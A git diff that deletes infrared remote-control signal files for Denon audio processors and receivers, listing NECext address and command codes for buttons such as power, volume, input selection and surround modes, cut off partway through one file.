deleted file mode 100644 index 900f8d107..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Processor/2,-1.ir +++ /dev/null @@ -1,392 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: TUNER_ZONE_3 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 48 00 00 00 -# -name: PHONO_ZONE_3 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 49 00 00 00 -# -name: CD_ZONE_3 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 4A 00 00 00 -# -name: DVD_ZONE_3 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 4E 00 00 00 -# -name: VDP_ZONE_3 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 4F 00 00 00 -# -name: TV_ZONE_3 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 52 00 00 00 -# -name: DBS_ZONE_3 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 53 00 00 00 -# -name: VCR_1_ZONE_3 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 54 00 00 00 -# -name: VCR2_ZONE_3 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 55 00 00 00 -# -name: V_AUX_ZONE_3 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 57 00 00 00 -# -name: TAPE_ZONE_3 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 5B 00 00 00 -# -name: ZONE_3_VOL_- -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 65 00 00 00 -# -name: ZONE_3_VOL_+ -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 66 00 00 00 -# -name: SURR_PUREDIRECT -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 6A 00 00 00 -# -name: SUR_PUREDIRECT_MAIN -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 6A 00 00 00 -# -name: ZONE_2 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 79 00 00 00 -# -name: POWER_ON_ZN_2 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 7B 00 00 00 -# -name: POWER_ON_ZONE_2 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 7B 00 00 00 -# -name: POWER_OFF_ZN_2 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 7C 00 00 00 -# -name: POWER_OFF_ZONE_2 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 7C 00 00 00 -# -name: POWER_ON_ZONE_3 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 7D 00 00 00 -# -name: POWER_OFF_ZONE_3 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 7E 00 00 00 -# -name: PHONO -type: parsed -protocol: NECext -address: 02 00 00 00 -command: C3 00 00 00 -# -name: PHONO_MAIN -type: parsed -protocol: NECext -address: 02 00 00 00 -command: C3 00 00 00 -# -name: CD -type: parsed -protocol: NECext -address: 02 00 00 00 -command: C4 00 00 00 -# -name: IPOD -type: parsed -protocol: NECext -address: 02 00 00 00 -command: C4 00 00 00 -# -name: CD_MAIN -type: parsed -protocol: NECext -address: 02 00 00 00 -command: C4 00 00 00 -# -name: TUNER -type: parsed -protocol: NECext -address: 02 00 00 00 -command: C5 00 00 00 -# -name: TUNER_MAIN -type: parsed -protocol: NECext -address: 02 00 00 00 -command: C5 00 00 00 -# -name: DBS -type: parsed -protocol: NECext -address: 02 00 00 00 -command: C8 00 00 00 -# -name: DBS_MAIN -type: parsed -protocol: NECext -address: 02 00 00 00 -command: C8 00 00 00 -# -name: CABLE_TV -type: parsed -protocol: NECext -address: 02 00 00 00 -command: C9 00 00 00 -# -name: TV -type: parsed -protocol: NECext -address: 02 00 00 00 -command: C9 00 00 00 -# -name: TV_MAIN -type: parsed -protocol: NECext -address: 02 00 00 00 -command: C9 00 00 00 -# -name: USER_1 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: C9 00 00 00 -# -name: VDP -type: parsed -protocol: NECext -address: 02 00 00 00 -command: CA 00 00 00 -# -name: VDP_MAIN -type: parsed -protocol: NECext -address: 02 00 00 00 -command: CA 00 00 00 -# -name: MUSIC_SERVER -type: parsed -protocol: NECext -address: 02 00 00 00 -command: CC 00 00 00 -# -name: VIDEO_AUX -type: parsed -protocol: NECext -address: 02 00 00 00 -command: CC 00 00 00 -# -name: V_AUX_MAIN -type: parsed -protocol: NECext -address: 02 00 00 00 -command: CC 00 00 00 -# -name: VCR_1 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: CD 00 00 00 -# -name: VCR_1_MAIN -type: parsed -protocol: NECext -address: 02 00 00 00 -command: CD 00 00 00 -# -name: VCR_2 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: CE 00 00 00 -# -name: VCR2_MAIN -type: parsed -protocol: NECext -address: 02 00 00 00 -command: CE 00 00 00 -# -name: TAPE_1 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: D2 00 00 00 -# -name: TAPE_MAIN -type: parsed -protocol: NECext -address: 02 00 00 00 -command: D2 00 00 00 -# -name: VIDEO_SELECT -type: parsed -protocol: NECext -address: 02 00 00 00 -command: D8 00 00 00 -# -name: RIGHT_ARROW -type: parsed -protocol: NECext -address: 02 00 00 00 -command: DD 00 00 00 -# -name: ON_SCREEN -type: parsed -protocol: NECext -address: 02 00 00 00 -command: DF 00 00 00 -# -name: OSD -type: parsed -protocol: NECext -address: 02 00 00 00 -command: DF 00 00 00 -# -name: SELECT/ENTER -type: parsed -protocol: NECext -address: 02 00 00 00 -command: E0 00 00 00 -# -name: POWER_ON_MAIN -type: parsed -protocol: NECext -address: 02 00 00 00 -command: E1 00 00 00 -# -name: POWER_OFF_MAIN -type: parsed -protocol: NECext -address: 02 00 00 00 -command: E2 00 00 00 -# -name: DVD -type: parsed -protocol: NECext -address: 02 00 00 00 -command: E3 00 00 00 -# -name: DVD_MAIN -type: parsed -protocol: NECext -address: 02 00 00 00 -command: E3 00 00 00 -# -name: SURR_STANDARD -type: parsed -protocol: NECext -address: 02 00 00 00 -command: E4 00 00 00 -# -name: SURR_STD_MAIN -type: parsed -protocol: NECext -address: 02 00 00 00 -command: E4 00 00 00 -# -name: SURR_SIM_MAIN -type: parsed -protocol: NECext -address: 02 00 00 00 -command: E6 00 00 00 -# -name: TEST -type: parsed -protocol: NECext -address: 02 00 00 00 -command: EA 00 00 00 -# -name: SPEAKER -type: parsed -protocol: NECext -address: 02 00 00 00 -command: ED 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 02 00 00 00 -command: F0 00 00 00 -# -name: VOLUME_+_MAIN -type: parsed -protocol: NECext -address: 02 00 00 00 -command: F1 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 02 00 00 00 -command: F1 00 00 00 -# -name: VOLUME_-_MAIN -type: parsed -protocol: NECext -address: 02 00 00 00 -command: F2 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 02 00 00 00 -command: F2 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Processor/4,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Processor/4,-1.ir deleted file mode 100644 index 9423d658f..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Processor/4,-1.ir +++ /dev/null @@ -1,44 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: SURROUND_CINEMA -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 95 00 00 00 -# -name: SURR_CINEMA_MAIN -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 95 00 00 00 -# -name: SURR_MUSIC_MAIN -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 96 00 00 00 -# -name: SURR_GAME_MAIN -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 97 00 00 00 -# -name: NIGHT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 98 00 00 00 -# -name: ROOM_EQ -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 9D 00 00 00 -# -name: EQUALIZER -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 9D 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Processor/4,1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Processor/4,1.ir deleted file mode 100644 index 2b5e33381..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Processor/4,1.ir +++ /dev/null @@ -1,26 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: USER_2 -type: parsed -protocol: NECext -address: 04 01 00 00 -command: 125 00 00 00 -# -name: USER_3 -type: parsed -protocol: NECext -address: 04 01 00 00 -command: 126 00 00 00 -# -name: SURR_DIRECT_MAIN -type: parsed -protocol: NECext -address: 04 01 00 00 -command: 131 00 00 00 -# -name: AUX_MAIN -type: parsed -protocol: NECext -address: 04 01 00 00 -command: 2C7 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Processor/4,3.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Processor/4,3.ir deleted file mode 100644 index a9322a8ce..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Processor/4,3.ir +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: AUX_ZONE_2 -type: parsed -protocol: NECext -address: 04 03 00 00 -command: 2C7 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Processor/4,5.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Processor/4,5.ir deleted file mode 100644 index b0189832d..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Processor/4,5.ir +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: AUX_ZONE_3 -type: parsed -protocol: NECext -address: 04 05 00 00 -command: 2C7 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Receiver/12,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Receiver/12,-1.ir deleted file mode 100644 index 80df0037b..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Receiver/12,-1.ir +++ /dev/null @@ -1,788 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 1_/_9 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 42 00 00 00 -# -name: 2_/_10 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 43 00 00 00 -# -name: 3_/_11 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 44 00 00 00 -# -name: 4_/_12 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 45 00 00 00 -# -name: 5_/_13 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 46 00 00 00 -# -name: 6_/_14 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 47 00 00 00 -# -name: 7_/_15 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 48 00 00 00 -# -name: 8_/_16 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 49 00 00 00 -# -name: SHIFT -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 4A 00 00 00 -# -name: MUTING_/_MUTE_TOGGLE -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 4B 00 00 00 -# -name: VOLUME_DOWN -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 4C 00 00 00 -# -name: VOLUME_UP -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 4D 00 00 00 -# -name: PRESET_CHANNEL_UP -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 4E 00 00 00 -# -name: PRESET_CHANNEL_DOWN -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 4F 00 00 00 -# -name: POWER_TOGGLE -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 50 00 00 00 -# -name: INPUT_VCR1 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 52 00 00 00 -# -name: INPUT_VIDEO1 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 53 00 00 00 -# -name: INPUT_DVD/VDP -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 54 00 00 00 -# -name: INPUT_VCR2 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 57 00 00 00 -# -name: INPUT_PHONO -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 58 00 00 00 -# -name: INPUT_TUNER -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 59 00 00 00 -# -name: INPUT_CD -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 5A 00 00 00 -# -name: INPUT_V.AUX -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 5B 00 00 00 -# -name: INPUT_CDR/TAPE -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 5C 00 00 00 -# -name: INPUT_DAT/TAPE1 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 5D 00 00 00 -# -name: INPUT_DAT/TAPE2 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 5E 00 00 00 -# -name: VIDEO_SELECT -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 62 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 68 00 00 00 -# -name: SPEAKER_B -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 69 00 00 00 -# -name: SPEAKER_A -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 6A 00 00 00 -# -name: CENTER_UP -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 6B 00 00 00 -# -name: CENTER_DOWN -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 6C 00 00 00 -# -name: REAR_UP -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 6D 00 00 00 -# -name: REAR_DOWN -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 6E 00 00 00 -# -name: CENTER -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 70 00 00 00 -# -name: REAR -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 71 00 00 00 -# -name: DBS/BS -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 73 00 00 00 -# -name: VIDEO -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 74 00 00 00 -# -name: AUDIO_MULTI -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 75 00 00 00 -# -name: DELAY_UP -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 77 00 00 00 -# -name: DELAY_DOWN -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 78 00 00 00 -# -name: SURROUND_MODE -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 79 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 7A 00 00 00 -# -name: TEST_TONE -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 7B 00 00 00 -# -name: 3CH.LOGIC -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 7C 00 00 00 -# -name: BYPASS -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 7D 00 00 00 -# -name: STATUS_/_OSD_/_PANEL -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 7E 00 00 00 -# -name: CURSOR/ARROW_LEFT -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 7F 00 00 00 -# -name: LEVEL_ALL_BASS_DOWN -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 80 00 00 00 -# -name: SURROUND_MODE_DTS -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 81 00 00 00 -# -name: SB_SPEAKER_TOGGLE_ON/OFF -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 82 00 00 00 -# -name: VOLUME_PRESET_1_(0DB) -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 83 00 00 00 -# -name: VOLUME_PRESET_2_(-20DB) -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 85 00 00 00 -# -name: VOLUME_PRESET_3_(-40DB) -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 86 00 00 00 -# -name: ZONE2_VOLUME_PRESET_1_(0DB) -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 87 00 00 00 -# -name: ZONE2_VOLUME_PRESET_2_(-20DB) -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 88 00 00 00 -# -name: ZONE2_VOLUME_PRESET_3_(-40DB) -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 89 00 00 00 -# -name: ZONE2_DBS/SAT/CABLE -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 8A 00 00 00 -# -name: SURROUND_MODE_HOME_THX_CINEMA -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 8B 00 00 00 -# -name: ZONE3_VOLUME_PRESET_1_(0DB) -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 8C 00 00 00 -# -name: ZONE2_VOLUME_UP -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 8D 00 00 00 -# -name: ZONE2_VOLUME_DOWN -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 8E 00 00 00 -# -name: ZONE2_INPUT_PHONO -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 8F 00 00 00 -# -name: ZONE2_INPUT_CD/IPOD -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 90 00 00 00 -# -name: ZONE2_INPUT_TUNER/HD_RADIO -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 91 00 00 00 -# -name: ZONE2_INPUT_BD/HDP/DVD/VDP -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 92 00 00 00 -# -name: ZONE2_INPUT_V.AUX -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 93 00 00 00 -# -name: ZONE2_INPUT_GAME/VCR1 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 94 00 00 00 -# -name: ZONE2_INPUT_CDR/TAPE2 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 95 00 00 00 -# -name: ZONE2_MULTI_PRESET_UP -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 96 00 00 00 -# -name: ZONE2_MULTI_PRESET_DOWN -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 97 00 00 00 -# -name: ZONE2_INPUT_AUX -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 98 00 00 00 -# -name: ZONE2_INPUT_DVR/VCR2/AUX -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 99 00 00 00 -# -name: ZONE2_INPUT_VCR3 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 9A 00 00 00 -# -name: ZONE2_INPUT_TV/DBS/CABLE -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 9B 00 00 00 -# -name: ZONE2_INPUT_CDR/TAPE -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 9C 00 00 00 -# -name: SURROUND_MODE_STEREO -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 9D 00 00 00 -# -name: SURROUND_MODE_DIRECT -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 9E 00 00 00 -# -name: ZONE3_VOLUME_PRESET_2_(-20DB) -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 9F 00 00 00 -# -name: MENU_/_SYSTEM_SETUP -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: A0 00 00 00 -# -name: SURROUND_PARAMETER -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: A1 00 00 00 -# -name: ZONE3_VOLUME_PRESET_3_(-40DB) -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: A2 00 00 00 -# -name: CURSOR/ARROW_UP -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: A3 00 00 00 -# -name: CURSOR/ARROW_DOWN -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: A4 00 00 00 -# -name: OUTPUT -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: A5 00 00 00 -# -name: RCVR_EFFECT -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: A6 00 00 00 -# -name: INPUT_ADJ_(V) -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: A7 00 00 00 -# -name: SURROUND_MODE_5/7/MULTI_CH_STEREO -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: A8 00 00 00 -# -name: SURROUND_MODE_2CH_STEREO -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: A9 00 00 00 -# -name: SURROUND_MODE_MULTI_CH_STEREO -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: AA 00 00 00 -# -name: TUNER_SHIFT_F -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: AB 00 00 00 -# -name: AUDIO_FUNCTION -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: AC 00 00 00 -# -name: VIDEO_FUNCTION -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: AD 00 00 00 -# -name: TUNER_SHIFT_G -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: AE 00 00 00 -# -name: SPEAKER_CH_LEVEL/SELECT -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: AF 00 00 00 -# -name: SPEAKER_CH_VOLUME_UP -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: B0 00 00 00 -# -name: SPEAKER_CH_VOLUME_DOWN -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: B1 00 00 00 -# -name: VIDEO_OFF -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: B2 00 00 00 -# -name: INPUT_MODE_EXT_IN -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: B5 00 00 00 -# -name: INPUT_MODE_TOGGLE_ANALOG/DIGITAL -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: B6 00 00 00 -# -name: LEVEL_ALL_TREBLE_UP -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: B7 00 00 00 -# -name: LEVEL_ALL_TREBLE_DOWN -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: B8 00 00 00 -# -name: TUNER_SHIFT_A -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: B9 00 00 00 -# -name: TUNER_SHIFT_B -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: BA 00 00 00 -# -name: TUNER_SHIFT_C -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: BB 00 00 00 -# -name: TUNER_SHIFT_D -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: BC 00 00 00 -# -name: TUNER_SHIFT_E -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: BD 00 00 00 -# -name: ZONE2_INPUT_DVD/VDP -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: BE 00 00 00 -# -name: LEVEL_ALL_BASS_UP -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: BF 00 00 00 -# -name: TUNER_PRESET/CHANNEL/XM_1 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: C1 00 00 00 -# -name: TUNER_PRESET/CHANNEL/XM_2 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: C2 00 00 00 -# -name: TUNER_PRESET/CHANNEL/XM_3 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: C3 00 00 00 -# -name: TUNER_PRESET/CHANNEL/XM_4 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: C4 00 00 00 -# -name: TUNER_PRESET/CHANNEL/XM_5 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: C5 00 00 00 -# -name: TUNER_PRESET/CHANNEL/XM_6 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: C6 00 00 00 -# -name: TUNER_PRESET/CHANNEL/XM_7 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: C7 00 00 00 -# -name: TUNER_PRESET/CHANNEL/XM_8 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: C8 00 00 00 -# -name: TUNER_PRESET/CHANNEL/XM_9 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: C9 00 00 00 -# -name: TUNER_PRESET/CHANNEL/XM_0 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: CA 00 00 00 -# -name: TUNER_MEMORY -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: CC 00 00 00 -# -name: TUNER_SHIFT -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: CD 00 00 00 -# -name: TUNER_RT -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: CE 00 00 00 -# -name: TUNER_DIRECT/RDS_SEARCH -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: D2 00 00 00 -# -name: TUNER_PTY -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: D4 00 00 00 -# -name: TUNER_PRESET/CHANNEL_DOWN -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: D5 00 00 00 -# -name: TUNER_PRESET/CHANNEL_UP -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: D6 00 00 00 -# -name: TUNER_BAND_TOGGLE -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: D7 00 00 00 -# -name: TUNER_TUNING_MODE_AUTO/MANUAL -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: D8 00 00 00 -# -name: TUNER_TUNING/SCAN_UP -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: D9 00 00 00 -# -name: TUNER_TUNING/SCAN_DOWN -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: DA 00 00 00 -# -name: DIMMER -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: DF 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Receiver/2,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Receiver/2,-1.ir deleted file mode 100644 index b3888e873..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Receiver/2,-1.ir +++ /dev/null @@ -1,614 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: PHONO -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 41 00 00 00 -# -name: CD -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 42 00 00 00 -# -name: TUNER -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 43 00 00 00 -# -name: AUX/VIDEO_1 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 44 00 00 00 -# -name: AUX/VIDEO_2 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 45 00 00 00 -# -name: ZONE3_INPUT_TUNER -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 48 00 00 00 -# -name: ZONE3_INPUT_PHONO -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 49 00 00 00 -# -name: ZONE3_INPUT_CD -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 4A 00 00 00 -# -name: MUTING -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 4B 00 00 00 -# -name: VOL_- -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 4C 00 00 00 -# -name: VOL_+ -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 4D 00 00 00 -# -name: ZONE3_INPUT_DVD -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 4E 00 00 00 -# -name: ZONE3_INPUT_VDP -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 4F 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 50 00 00 00 -# -name: ZONE3_INPUT_TV -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 52 00 00 00 -# -name: ZONE3_INPUT_DBS/SAT -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 53 00 00 00 -# -name: ZONE3_INPUT_VCR1 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 54 00 00 00 -# -name: ZONE3_INPUT_VCR2 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 55 00 00 00 -# -name: ZONE_1_VCR-3 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 56 00 00 00 -# -name: MZ-1_VCR-3 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 56 00 00 00 -# -name: ZONE3_INPUT_V.AUX -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 57 00 00 00 -# -name: ZONE3_INPUT_CDR/TAPE -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 5B 00 00 00 -# -name: ZONE_1_TAPE-2 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 5C 00 00 00 -# -name: ZONE2_POWER_TOGGLE -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 5D 00 00 00 -# -name: DIRECT_DIGITAL -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 60 00 00 00 -# -name: OPTICAL_DIGITAL_1 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 61 00 00 00 -# -name: DIGITAL_2 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 62 00 00 00 -# -name: DIGITAL_3 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 63 00 00 00 -# -name: ZONE3_VOLUME_DOWN -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 65 00 00 00 -# -name: ZONE3_VOLUME_UP -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 66 00 00 00 -# -name: DAT_MONITOR -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 67 00 00 00 -# -name: SURROUND_MODE_PURE_DIRECT -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 6A 00 00 00 -# -name: INPUT_MODE_AUTO -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 73 00 00 00 -# -name: INPUT_MODE_PCM -type: parsed -protocol: NECext -address: 